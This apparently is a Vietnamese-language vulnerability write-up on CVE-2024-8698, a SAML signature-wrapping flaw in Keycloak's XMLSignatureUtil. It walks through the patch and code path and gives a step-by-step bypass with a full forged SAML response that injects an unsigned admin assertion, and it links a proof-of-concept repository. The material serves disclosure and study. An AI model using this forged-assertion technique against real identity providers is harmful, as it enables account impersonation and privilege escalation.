Analyst CVE-2024-8698 on KeyCloak

doppadoppa
8 min read

Summary :

A flaw exists in the SAML signature validation method within the Keycloak XMLSignatureUtil class. The method incorrectly determines whether a SAML signature is for the full document or only for specific assertions based on the position of the signature in the XML document, rather than the Reference element used to specify the signed element. This flaw allows attackers to create crafted responses that can bypass the validation, potentially leading to privilege escalation or impersonation attacks.

Patch Analyst:

Patch cho lỗ hổng nằm ở commit : https://github.com/keycloak/keycloak/commit/ae6a686870b57182c0635ae60f0fe81d57cf15e3

Đọc miêu tả và commit có thể thấy lỗ hổng nằm tại hàm validate của class XMLSignatureUtil , hàm này xác định sai giữa signature của toàn bộ document với signature của assertion dẫn đến kẻ tấn công có thể thực hiện leo quyền

Set Up & Debug :

Download https://github.com/keycloak/keycloak/releases/download/25.0.5/keycloak-25.0.5.zip

Giải nén file , rồi chạy command sau :

.\bin\kc.bat start-dev --debug 8989

Tiếp theo , import lib của keycloak vào Idea rồi chạy remote debug với port là 8989

\=> Hoàn tất set up debug

KeyCloak Basic :

Keycloak là một Open Source Identity Provider và Access Management cho Modern Applications và Services. Dùng để quản lý nhận dạng và truy cập vào các ứng dụng/ dịch vụ. Nó có chức năng làm một Single Sign-On (SSO) services cho nhiều ứng dụng , Keycloak cũng hỗ trợ các protocol như OAuth 2.0 , OpenID và SAML 2.0

Với SAML 2.0 Flow cơ bản như sau :

User A muốn đăng nhập vào ứng dụng gitlab (service provider) , để đăng nhập vào user A phải đăng nhập qua keycloak (identity provider) . đăng nhập thành công , keycloak sẽ gửi saml response đến gitlab , gitlab verify saml response , Thành công sẽ cho phép user sử dụng ứng dụng

saml-flow

Sau khi trace từ các hàm thấy điểm source nằm ở class :

org.keycloak.broker.saml.SAMLEndpoint

Class này sử dụng cho identity broker . Identity broker là gì ?

Identity Broker là một dịch vụ cho phép người dùng sử dụng thông tin đăng nhập từ một nhà cung cấp danh tính bên ngoài để truy cập vào các ứng dụng và dịch vụ khác.

Đơn giản có thể hiểu là identity broker là dịch vụ cho phép bạn đăng nhập vào keycloak của bạn bằng 1 idp khác ( ví dụ : facebook , google, … )

Đến đây set up thêm 1 identity provider nữa để sử dụng tính năng broker của keycloak , ở đây tôi sử dụng wordpress và dùng plug-in Wordpress IDP để biến wordpress thành một identity provider

Code Analyst:

Response sẽ được xử lý tại hàm handleSamlResponse:

Tiếp tục trace
→ SamlProtocolUtils.verifyDocumentSignature → SAML2Signature.validate → XMLSignatureUtil.validate

Logic của hàm này như sau :

Đâu tiên , nó lấy tất cả các signature elements , rồi lặp qua từng nút với mỗi nút nó sẽ check nếu nút hiện tại thuộc nút cha là assertion thì sẽ thực hiện tăng biến đếm signedAssertions , tiếp theo với mỗi node lặp qua nó sẽ chạy qua hàm validateSingleNode()

Logic của hàm validateSigleNode đơn giản là nó thực hiện validate cái signature node này . Quay trở lại với hàm validate , sau khi vòng lặp kết thúc nó sẽ chuyển tiếp đến điều kiện rằng nếu số lượng node assertions có signature khác với số lượng tổng thể nút assertion thì sẽ trả về false ( detect có malicious assertion ) .

Sau khi validate thành công sẽ nhảy đến hàm handleloginResponse

Đặt breakpoint tại đầu hàm , nhảy thẳng tới line 624 :

hàm này sẽ thực hiện set attribute cho các thuộc tính dựa vào response nhận được nếu thỏa mãn cả 3 điều kiện sau đều false :

Điều kiện 1: Nếu config yêu cầu WantAssertionsSigned được đặt là true ( mặc định là false) và biến signed = false

Điều kiện 2 : Nếu biến signed = true , config validate signature được bật ( mặc định ) và hàm AssertionUtil.isSignatureValid() trả về false

Điều kiện 3: biến signed = false , config validate signature được bật ( mặc định ) và hàm containsUnencryptedSignature() ( hàm này check xem response document có chứa element signature hay không) trả về false

Biến signed trả về true nếu assertion có chứa signature ngược lại sẽ trả về false.

Đến đây sau khi thỏa mãn điều kiện sẽ set attribute theo assertion đầu tiên :

Vậy flow chương trình có thể mô tả đơn giản như sau :

Bước 1: Chương trình nhận SAMLResponse từ broker

Bước 2: Validate xem các chữ ký xuất hiện trong document có hợp lệ hay không

Bước 3: Check 3 điều kiện : assertionSignatureNotExistsWhenRequired , signatureNotValid , hasNoSignatureWhenRequired . Nếu 3 điều kiện này đều false thì sẽ thực hiện lấy assertion xuất hiện đầu tiên

validate

Lỗ hổng xuất hiện giữa logic tại hàm validate, hàm XMLSignatureUtil.validate() thực hiện validate tất cả các signature trong response document , các signature được đưa vào hàm XMLSignatureUtil.validateUsingKeySelector()
rồi các signature này được validate , Quá trình validate được define tại phần 3.2 https://www.w3.org/TR/xmldsig-core1/#sec-CoreValidation

Quá trình validate gồm 2 phần . Phần 1 là verify giá trị SignatureValue bằng publickey , phần 2 là verify giá trị Reference chính là verify giá trị digestValue

Ví dụ :

<?xml version="1.0" encoding="utf-8"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="addf4d01a0076b2fa36278805129ac8e5a46d04c9" Version="2.0" IssueInstant="2024-10-10T08:53:59Z" Destination="http://127.0.0.1:8080/realms/master/broker/saml/endpoint" InResponseTo="ID_b2df2d79-a443-4f59-9c53-43fce49f8141">
  <saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">http://localhost/wordpress/wp-content/plugins/miniorange-wp-as-saml-idp/</saml:Issuer>
  <samlp:Status>
    <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
  </samlp:Status>
  <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="a11a434527ab2de06ea8262a23e93166710c88f65" IssueInstant="2024-10-10T08:53:59Z" Version="2.0">
    <saml:Issuer>http://localhost/wordpress/wp-content/plugins/miniorange-wp-as-saml-idp/</saml:Issuer>
    <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
      <ds:SignedInfo>
        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
        <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
        <ds:Reference URI="#a11a434527ab2de06ea8262a23e93166710c88f65">
          <ds:Transforms>
            <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
            <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
          </ds:Transforms>
          <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
          <ds:DigestValue>OrrB2CQGFegn8NFOmsGJjv1wUPIKd+3OvJoX8PMUtlw=</ds:DigestValue>
        </ds:Reference>
      </ds:SignedInfo>
      <ds:SignatureValue>wY8pHpcQaHJwodifZG0Qx4gmYYOOXiGGHohXFDiPGK9WQY3dOWXD2IQOu14LouFN7jnKvgqdFU5q93Hd8ae67KPoVCJkZvQ3E3WlS1T66CHGhvE4UT6oS3BCRKcB2FMvUBbngPiI6f2H/wGKGAQ6KMqEx9i4+GWRjFTyAIYUxJXcYTGv/JILyLEkotx1crdSpRZLSyOkyFBkPj3TvyQfqRp21Li042tVzb2+H0Nj1nQek5KznqDKrOdLr0Du+INWj3mcpQNIuEzJthvdwYmQ0aDi0JZOuyjUbH/pYVQcmi2vHASBBi815k9TOZ1zrYOuDDBK2cqnoSpg5VPVjdiGZw==</ds:SignatureValue>
      <ds:KeyInfo>
        <ds:X509Data>
          <ds:X509Certificate>MIIElTCCA32gAwIBAgIUG9ZkPUYwnNJ9yXXYBrtasp/99HowDQYJKoZIhvcNAQELBQAwgbMxFzAVBgNVBAMMDm1pbmlvcmFuZ2UuY29tMRUwEwYDVQQDDAx4ZWN1cmlmeS5jb20xCzAJBgNVBAYTAlVTMRAwDgYDVQQIDAdXeW9taW5nMREwDwYDVQQHDAhDaGV5ZW5uZTEtMCsGA1UECgwkbWluaU9yYW5nZSBTZWN1cml0eSBTb2Z0d2FyZSBQdnQgTHRkMSAwHgYJKoZIhvcNAQkBFhFpbmZvQHhlY3VyaWZ5LmNvbTAeFw0yMzExMjQxMDM4MTNaFw0yNTAxMTcxMDM4MTNaMIGzMRcwFQYDVQQDDA5taW5pb3JhbmdlLmNvbTEVMBMGA1UEAwwMeGVjdXJpZnkuY29tMQswCQYDVQQGEwJVUzEQMA4GA1UECAwHV3lvbWluZzERMA8GA1UEBwwIQ2hleWVubmUxLTArBgNVBAoMJG1pbmlPcmFuZ2UgU2VjdXJpdHkgU29mdHdhcmUgUHZ0IEx0ZDEgMB4GCSqGSIb3DQEJARYRaW5mb0B4ZWN1cmlmeS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDeT2P3tJpOYcjbrXt6xRnxwbFD1GouFM8nMbkEyGxjEP2OHNHhbXI0hSXaOgbpUBW9sGTPPWNGK3avDclvK6pQIMeyk272DIq+IG0aFN8PrlxpPQQClxwdpt0YWDBpWO31dFsTuUukUWlQwbzu3Z/2DN7b8R9KKPhDlb3RYKTznD9zPU5nrpG4qtNbMAjPCOrgmjMEByRsnHnAWupNE15bzSDF0YISl6LGgpDe+MQo2VpyZyxH/NUEs4LvDAiM0AZwawe2FzyPVm3Z/SIp7Eer5L3F4OfHZ89J6Dm3DYH4WtnhqN74bU/OWGyNZ+kbFRoo6Gr9ZvHbHWl9w8HZIcgbAgMBAAGjgZ4wgZswHQYDVR0OBBYEFB7iZs2DOlek7jPH5YrEGOTjujWmMB8GA1UdIwQYMBaAFB7iZs2DOlek7jPH5YrEGOTjujWmMA4GA1UdDwEB/wQEAwIFoDAgBgNVHSUBAf8EFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwJwYDVR0RBCAwHoIObWluaW9yYW5nZS5jb22CDHhlY3VyaWZ5LmNvbTANBgkqhkiG9w0BAQsFAAOCAQEAm6v4wqLtMS1myybOiBLt79hJvJPumVnWthKFWGO2/mDMXMBS1X8dVK8h2Yn220xq8DTbIDxJW019iOmA7uEpdHNjyqtiRUTsEcBBdeRcSu1qS6IHtzlPdhFBWjbKx8u7Skv17ILhz5oW8yCjttueVvwVin0WUwQRM4Qn63QspmzK9K57w6AHzSs8z3eo9kUCgsd90VePGloZG0ZZ3WVnA3L1v6wS5dbbe6nF4Q7sji/y8+mzFmDBmn2FSFk755R+pV/1SXporU9S8f/t1goP3VPw0up6dQefRuHWZjjq1qaV4v5yLUhz/dsQ8dhuERRrHaJ41Ftq8DL363kbDZ48qg==</ds:X509Certificate>
        </ds:X509Data>
      </ds:KeyInfo>
    </ds:Signature>
    <saml:Subject>
      <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@abc.co</saml:NameID>
      <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
        <saml:SubjectConfirmationData NotOnOrAfter="2024-10-10T08:58:59Z" Recipient="http://127.0.0.1:8080/realms/master/broker/saml/endpoint" InResponseTo="ID_b2df2d79-a443-4f59-9c53-43fce49f8141"/>
      </saml:SubjectConfirmation>
    </saml:Subject>
    <saml:Conditions NotBefore="2024-10-10T08:53:29Z" NotOnOrAfter="2024-10-10T08:58:59Z">
      <saml:AudienceRestriction>
        <saml:Audience>http://127.0.0.1:8080/realms/master</saml:Audience>
      </saml:AudienceRestriction>
    </saml:Conditions>
    <saml:AuthnStatement AuthnInstant="2024-10-10T08:51:59Z" SessionIndex="_a28268d14233fd60612afedd1c3d6f6" SessionNotOnOrAfter="2024-10-10T16:53:59Z">
      <saml:AuthnContext>
        <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef>
      </saml:AuthnContext>
    </saml:AuthnStatement>
  </saml:Assertion>
</samlp:Response>

Quá trình verify chữ kí thì đầu tiên sẽ tìm kiếm dữ liệu được ký chính là dữ liệu được tham chiếu bởi URI của Reference ở đây là phần tử có ID : a11a434527ab2de06ea8262a23e93166710c88f65 , tiếp theo dữ liệu sẽ qua các bước transform rồi được hash = sha256 , giá trị này sẽ được so sánh với giá trị hash lấy được sau khi giải mã signaturevalue với publickey

Quá trình verify Reference cũng lấy giá trị từ URI của Reference trong Keyinfo và so sánh 2 giá trị hash sha256

Đến đây , nếu như tạo thêm 1 Signature y hệt cho toàn bộ response . Đoạn code trên sẽ không thể nào xác định được Signature này là của response hay của assertion , vẫn validate bằng dữ liệu được lấy từ URI => dẫn đến bypass phần validate này.

Điều kiện tiếp theo để pass hàm validate :

Ứng dụng thực hiện check xem rằng số assertions được kí có bằng số assertion có trong document hay không

Điều kiện này có thể bypass bằng 2 cách , cách 1 là không cho assertion nào được ký , cách 2 là tự tạo 1 assertion giả mạo và tự ký . Đương nhiên cách thứ 2 là không thể vì không có khóa riêng . Cách thứ 1 thì thực hiện được bằng cách bỏ đi tất cả chữ ký phần assertion .

HandleLoginResponse

Tiếp tục follow đến hàm HandleLoginResponse , ở đây có 3 điều kiện ta cần pass để có thể thực hiện bypass toàn bộ

Đầu tiên signed được gán giá trị là giá trị trả về của hàm AssertionUtil.isSignedElement()
Hàm này , hàm này tìm kiếm trong assertion hiện tại xem có chứa element Signature hay không . Với flow hiện tại ta đã bỏ hết signature tại assertion nên signed = False .

Điều kiện 1 : SAMLEndpoint.this.config.isWantAssertionsSigned() mặc định là False nên điều kiện 2 luôn false

Điều kiện 2: signed hiện tại là false , nên cả biểu thức sẽ false (AND trong bitwise 1 cái false thì sẽ false )

Điều kiện 3 : 2 cái đầu sẽ là true , hàm containsUnencryptedSignature() sẽ check xem cả document có chứa signature không , theo flow thì ta để signature từ assertion xuống response nên hàm này sẽ trả về true => điều kiện 3 cũng sẽ false

Tiếp theo sau khi pass điều kiện trên , ứng dụng sẽ lấy assertion đầu tiên và gán thuộc tính theo assertion đó

Vậy ý tưởng bypass sẽ như sau :

Đầu tiên , cần một tài khoản level thấp , intercept để lấy SAMLResponse trong request , drop request đó

Bước 2 : Đưa phần signature của assertion đó xuống phần response , xóa signature của assertion đó , rồi thực hiện copy phần assertion , tạo 1 assertion mới bên trên và thay đổi thành email admin

Bước 3: Gửi lại saml request

Ví dụ :

Original SamlResponse:

<?xml version="1.0" encoding="utf-8"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="addf4d01a0076b2fa36278805129ac8e5a46d04c9" Version="2.0" IssueInstant="2024-10-10T08:53:59Z" Destination="http://127.0.0.1:8080/realms/master/broker/saml/endpoint" InResponseTo="ID_b2df2d79-a443-4f59-9c53-43fce49f8141">
  <saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">http://localhost/wordpress/wp-content/plugins/miniorange-wp-as-saml-idp/</saml:Issuer>
  <samlp:Status>
    <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
  </samlp:Status>
  <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="a11a434527ab2de06ea8262a23e93166710c88f65" IssueInstant="2024-10-10T08:53:59Z" Version="2.0">
    <saml:Issuer>http://localhost/wordpress/wp-content/plugins/miniorange-wp-as-saml-idp/</saml:Issuer>
    <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
      <ds:SignedInfo>
        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
        <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
        <ds:Reference URI="#a11a434527ab2de06ea8262a23e93166710c88f65">
          <ds:Transforms>
            <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
            <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
          </ds:Transforms>
          <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
          <ds:DigestValue>OrrB2CQGFegn8NFOmsGJjv1wUPIKd+3OvJoX8PMUtlw=</ds:DigestValue>
        </ds:Reference>
      </ds:SignedInfo>
      <ds:SignatureValue>wY8pHpcQaHJwodifZG0Qx4gmYYOOXiGGHohXFDiPGK9WQY3dOWXD2IQOu14LouFN7jnKvgqdFU5q93Hd8ae67KPoVCJkZvQ3E3WlS1T66CHGhvE4UT6oS3BCRKcB2FMvUBbngPiI6f2H/wGKGAQ6KMqEx9i4+GWRjFTyAIYUxJXcYTGv/JILyLEkotx1crdSpRZLSyOkyFBkPj3TvyQfqRp21Li042tVzb2+H0Nj1nQek5KznqDKrOdLr0Du+INWj3mcpQNIuEzJthvdwYmQ0aDi0JZOuyjUbH/pYVQcmi2vHASBBi815k9TOZ1zrYOuDDBK2cqnoSpg5VPVjdiGZw==</ds:SignatureValue>
      <ds:KeyInfo>
        <ds:X509Data>
          <ds:X509Certificate>MIIElTCCA32gAwIBAgIUG9ZkPUYwnNJ9yXXYBrtasp/99HowDQYJKoZIhvcNAQELBQAwgbMxFzAVBgNVBAMMDm1pbmlvcmFuZ2UuY29tMRUwEwYDVQQDDAx4ZWN1cmlmeS5jb20xCzAJBgNVBAYTAlVTMRAwDgYDVQQIDAdXeW9taW5nMREwDwYDVQQHDAhDaGV5ZW5uZTEtMCsGA1UECgwkbWluaU9yYW5nZSBTZWN1cml0eSBTb2Z0d2FyZSBQdnQgTHRkMSAwHgYJKoZIhvcNAQkBFhFpbmZvQHhlY3VyaWZ5LmNvbTAeFw0yMzExMjQxMDM4MTNaFw0yNTAxMTcxMDM4MTNaMIGzMRcwFQYDVQQDDA5taW5pb3JhbmdlLmNvbTEVMBMGA1UEAwwMeGVjdXJpZnkuY29tMQswCQYDVQQGEwJVUzEQMA4GA1UECAwHV3lvbWluZzERMA8GA1UEBwwIQ2hleWVubmUxLTArBgNVBAoMJG1pbmlPcmFuZ2UgU2VjdXJpdHkgU29mdHdhcmUgUHZ0IEx0ZDEgMB4GCSqGSIb3DQEJARYRaW5mb0B4ZWN1cmlmeS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDeT2P3tJpOYcjbrXt6xRnxwbFD1GouFM8nMbkEyGxjEP2OHNHhbXI0hSXaOgbpUBW9sGTPPWNGK3avDclvK6pQIMeyk272DIq+IG0aFN8PrlxpPQQClxwdpt0YWDBpWO31dFsTuUukUWlQwbzu3Z/2DN7b8R9KKPhDlb3RYKTznD9zPU5nrpG4qtNbMAjPCOrgmjMEByRsnHnAWupNE15bzSDF0YISl6LGgpDe+MQo2VpyZyxH/NUEs4LvDAiM0AZwawe2FzyPVm3Z/SIp7Eer5L3F4OfHZ89J6Dm3DYH4WtnhqN74bU/OWGyNZ+kbFRoo6Gr9ZvHbHWl9w8HZIcgbAgMBAAGjgZ4wgZswHQYDVR0OBBYEFB7iZs2DOlek7jPH5YrEGOTjujWmMB8GA1UdIwQYMBaAFB7iZs2DOlek7jPH5YrEGOTjujWmMA4GA1UdDwEB/wQEAwIFoDAgBgNVHSUBAf8EFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwJwYDVR0RBCAwHoIObWluaW9yYW5nZS5jb22CDHhlY3VyaWZ5LmNvbTANBgkqhkiG9w0BAQsFAAOCAQEAm6v4wqLtMS1myybOiBLt79hJvJPumVnWthKFWGO2/mDMXMBS1X8dVK8h2Yn220xq8DTbIDxJW019iOmA7uEpdHNjyqtiRUTsEcBBdeRcSu1qS6IHtzlPdhFBWjbKx8u7Skv17ILhz5oW8yCjttueVvwVin0WUwQRM4Qn63QspmzK9K57w6AHzSs8z3eo9kUCgsd90VePGloZG0ZZ3WVnA3L1v6wS5dbbe6nF4Q7sji/y8+mzFmDBmn2FSFk755R+pV/1SXporU9S8f/t1goP3VPw0up6dQefRuHWZjjq1qaV4v5yLUhz/dsQ8dhuERRrHaJ41Ftq8DL363kbDZ48qg==</ds:X509Certificate>
        </ds:X509Data>
      </ds:KeyInfo>
    </ds:Signature>
    <saml:Subject>
      <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">test@abc.co</saml:NameID>
      <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
        <saml:SubjectConfirmationData NotOnOrAfter="2024-10-10T08:58:59Z" Recipient="http://127.0.0.1:8080/realms/master/broker/saml/endpoint" InResponseTo="ID_b2df2d79-a443-4f59-9c53-43fce49f8141"/>
      </saml:SubjectConfirmation>
    </saml:Subject>
    <saml:Conditions NotBefore="2024-10-10T08:53:29Z" NotOnOrAfter="2024-10-10T08:58:59Z">
      <saml:AudienceRestriction>
        <saml:Audience>http://127.0.0.1:8080/realms/master</saml:Audience>
      </saml:AudienceRestriction>
    </saml:Conditions>
    <saml:AuthnStatement AuthnInstant="2024-10-10T08:51:59Z" SessionIndex="_a28268d14233fd60612afedd1c3d6f6" SessionNotOnOrAfter="2024-10-10T16:53:59Z">
      <saml:AuthnContext>
        <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef>
      </saml:AuthnContext>
    </saml:AuthnStatement>
  </saml:Assertion>
</samlp:Response>

Evil Request

<?xml version="1.0" encoding="utf-8" standalone="no"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" Destination="http://127.0.0.1:8080/realms/master/broker/saml/endpoint" ID="addf4d01a0076b2fa36278805129ac8e5a46d04c9" InResponseTo="ID_b2df2d79-a443-4f59-9c53-43fce49f8141" IssueInstant="2024-10-10T08:53:59Z" Version="2.0">
  <saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">http://localhost/wordpress/wp-content/plugins/miniorange-wp-as-saml-idp/</saml:Issuer>
  <samlp:Status>
    <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
  </samlp:Status>
  <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_lpe" IssueInstant="2024-10-10T08:53:59Z" Version="2.0">
    <saml:Issuer>http://localhost/wordpress/wp-content/plugins/miniorange-wp-as-saml-idp/</saml:Issuer>
    <saml:Subject>
      <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@abc.co</saml:NameID>
      <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
        <saml:SubjectConfirmationData InResponseTo="ID_b2df2d79-a443-4f59-9c53-43fce49f8141" NotOnOrAfter="2024-10-10T08:58:59Z" Recipient="http://127.0.0.1:8080/realms/master/broker/saml/endpoint"/>
      </saml:SubjectConfirmation>
    </saml:Subject>
    <saml:Conditions NotBefore="2024-10-10T08:53:29Z" NotOnOrAfter="2024-10-10T08:58:59Z">
      <saml:AudienceRestriction>
        <saml:Audience>http://127.0.0.1:8080/realms/master</saml:Audience>
      </saml:AudienceRestriction>
    </saml:Conditions>
    <saml:AuthnStatement AuthnInstant="2024-10-10T08:51:59Z" SessionIndex="_a28268d14233fd60612afedd1c3d6f6" SessionNotOnOrAfter="2024-10-10T16:53:59Z">
      <saml:AuthnContext>
        <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef>
      </saml:AuthnContext>
    </saml:AuthnStatement>
  </saml:Assertion>
  <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="a11a434527ab2de06ea8262a23e93166710c88f65" IssueInstant="2024-10-10T08:53:59Z" Version="2.0">
    <saml:Issuer>http://localhost/wordpress/wp-content/plugins/miniorange-wp-as-saml-idp/</saml:Issuer>
    <saml:Subject>
      <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">test@abc.co</saml:NameID>
      <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
        <saml:SubjectConfirmationData InResponseTo="ID_b2df2d79-a443-4f59-9c53-43fce49f8141" NotOnOrAfter="2024-10-10T08:58:59Z" Recipient="http://127.0.0.1:8080/realms/master/broker/saml/endpoint"/>
      </saml:SubjectConfirmation>
    </saml:Subject>
    <saml:Conditions NotBefore="2024-10-10T08:53:29Z" NotOnOrAfter="2024-10-10T08:58:59Z">
      <saml:AudienceRestriction>
        <saml:Audience>http://127.0.0.1:8080/realms/master</saml:Audience>
      </saml:AudienceRestriction>
    </saml:Conditions>
    <saml:AuthnStatement AuthnInstant="2024-10-10T08:51:59Z" SessionIndex="_a28268d14233fd60612afedd1c3d6f6" SessionNotOnOrAfter="2024-10-10T16:53:59Z">
      <saml:AuthnContext>
        <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef>
      </saml:AuthnContext>
    </saml:AuthnStatement>
  </saml:Assertion>
  <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
    <ds:SignedInfo>
      <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
      <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
      <ds:Reference URI="#a11a434527ab2de06ea8262a23e93166710c88f65">
        <ds:Transforms>
          <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
          <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
        </ds:Transforms>
        <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
        <ds:DigestValue>OrrB2CQGFegn8NFOmsGJjv1wUPIKd+3OvJoX8PMUtlw=</ds:DigestValue>
      </ds:Reference>
    </ds:SignedInfo>
    <ds:SignatureValue>wY8pHpcQaHJwodifZG0Qx4gmYYOOXiGGHohXFDiPGK9WQY3dOWXD2IQOu14LouFN7jnKvgqdFU5q93Hd8ae67KPoVCJkZvQ3E3WlS1T66CHGhvE4UT6oS3BCRKcB2FMvUBbngPiI6f2H/wGKGAQ6KMqEx9i4+GWRjFTyAIYUxJXcYTGv/JILyLEkotx1crdSpRZLSyOkyFBkPj3TvyQfqRp21Li042tVzb2+H0Nj1nQek5KznqDKrOdLr0Du+INWj3mcpQNIuEzJthvdwYmQ0aDi0JZOuyjUbH/pYVQcmi2vHASBBi815k9TOZ1zrYOuDDBK2cqnoSpg5VPVjdiGZw==</ds:SignatureValue>
    <ds:KeyInfo>
      <ds:X509Data>
        <ds:X509Certificate>MIIElTCCA32gAwIBAgIUG9ZkPUYwnNJ9yXXYBrtasp/99HowDQYJKoZIhvcNAQELBQAwgbMxFzAVBgNVBAMMDm1pbmlvcmFuZ2UuY29tMRUwEwYDVQQDDAx4ZWN1cmlmeS5jb20xCzAJBgNVBAYTAlVTMRAwDgYDVQQIDAdXeW9taW5nMREwDwYDVQQHDAhDaGV5ZW5uZTEtMCsGA1UECgwkbWluaU9yYW5nZSBTZWN1cml0eSBTb2Z0d2FyZSBQdnQgTHRkMSAwHgYJKoZIhvcNAQkBFhFpbmZvQHhlY3VyaWZ5LmNvbTAeFw0yMzExMjQxMDM4MTNaFw0yNTAxMTcxMDM4MTNaMIGzMRcwFQYDVQQDDA5taW5pb3JhbmdlLmNvbTEVMBMGA1UEAwwMeGVjdXJpZnkuY29tMQswCQYDVQQGEwJVUzEQMA4GA1UECAwHV3lvbWluZzERMA8GA1UEBwwIQ2hleWVubmUxLTArBgNVBAoMJG1pbmlPcmFuZ2UgU2VjdXJpdHkgU29mdHdhcmUgUHZ0IEx0ZDEgMB4GCSqGSIb3DQEJARYRaW5mb0B4ZWN1cmlmeS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDeT2P3tJpOYcjbrXt6xRnxwbFD1GouFM8nMbkEyGxjEP2OHNHhbXI0hSXaOgbpUBW9sGTPPWNGK3avDclvK6pQIMeyk272DIq+IG0aFN8PrlxpPQQClxwdpt0YWDBpWO31dFsTuUukUWlQwbzu3Z/2DN7b8R9KKPhDlb3RYKTznD9zPU5nrpG4qtNbMAjPCOrgmjMEByRsnHnAWupNE15bzSDF0YISl6LGgpDe+MQo2VpyZyxH/NUEs4LvDAiM0AZwawe2FzyPVm3Z/SIp7Eer5L3F4OfHZ89J6Dm3DYH4WtnhqN74bU/OWGyNZ+kbFRoo6Gr9ZvHbHWl9w8HZIcgbAgMBAAGjgZ4wgZswHQYDVR0OBBYEFB7iZs2DOlek7jPH5YrEGOTjujWmMB8GA1UdIwQYMBaAFB7iZs2DOlek7jPH5YrEGOTjujWmMA4GA1UdDwEB/wQEAwIFoDAgBgNVHSUBAf8EFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwJwYDVR0RBCAwHoIObWluaW9yYW5nZS5jb22CDHhlY3VyaWZ5LmNvbTANBgkqhkiG9w0BAQsFAAOCAQEAm6v4wqLtMS1myybOiBLt79hJvJPumVnWthKFWGO2/mDMXMBS1X8dVK8h2Yn220xq8DTbIDxJW019iOmA7uEpdHNjyqtiRUTsEcBBdeRcSu1qS6IHtzlPdhFBWjbKx8u7Skv17ILhz5oW8yCjttueVvwVin0WUwQRM4Qn63QspmzK9K57w6AHzSs8z3eo9kUCgsd90VePGloZG0ZZ3WVnA3L1v6wS5dbbe6nF4Q7sji/y8+mzFmDBmn2FSFk755R+pV/1SXporU9S8f/t1goP3VPw0up6dQefRuHWZjjq1qaV4v5yLUhz/dsQ8dhuERRrHaJ41Ftq8DL363kbDZ48qg==</ds:X509Certificate>
      </ds:X509Data>
    </ds:KeyInfo>
  </ds:Signature>
</samlp:Response>

POC

https://github.com/huydoppaz/CVE-2024-8698-POC

Reference

https://viblo.asia/p/saml-hacking-phan-2-xml-signatures-38X4EPGgVN2

https://www.w3.org/TR/xmldsig-core1/#sec-CoreValidation

https://github.com/keycloak/keycloak/issues/33116

https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/

6
Subscribe to my newsletter

Read articles from doppa directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

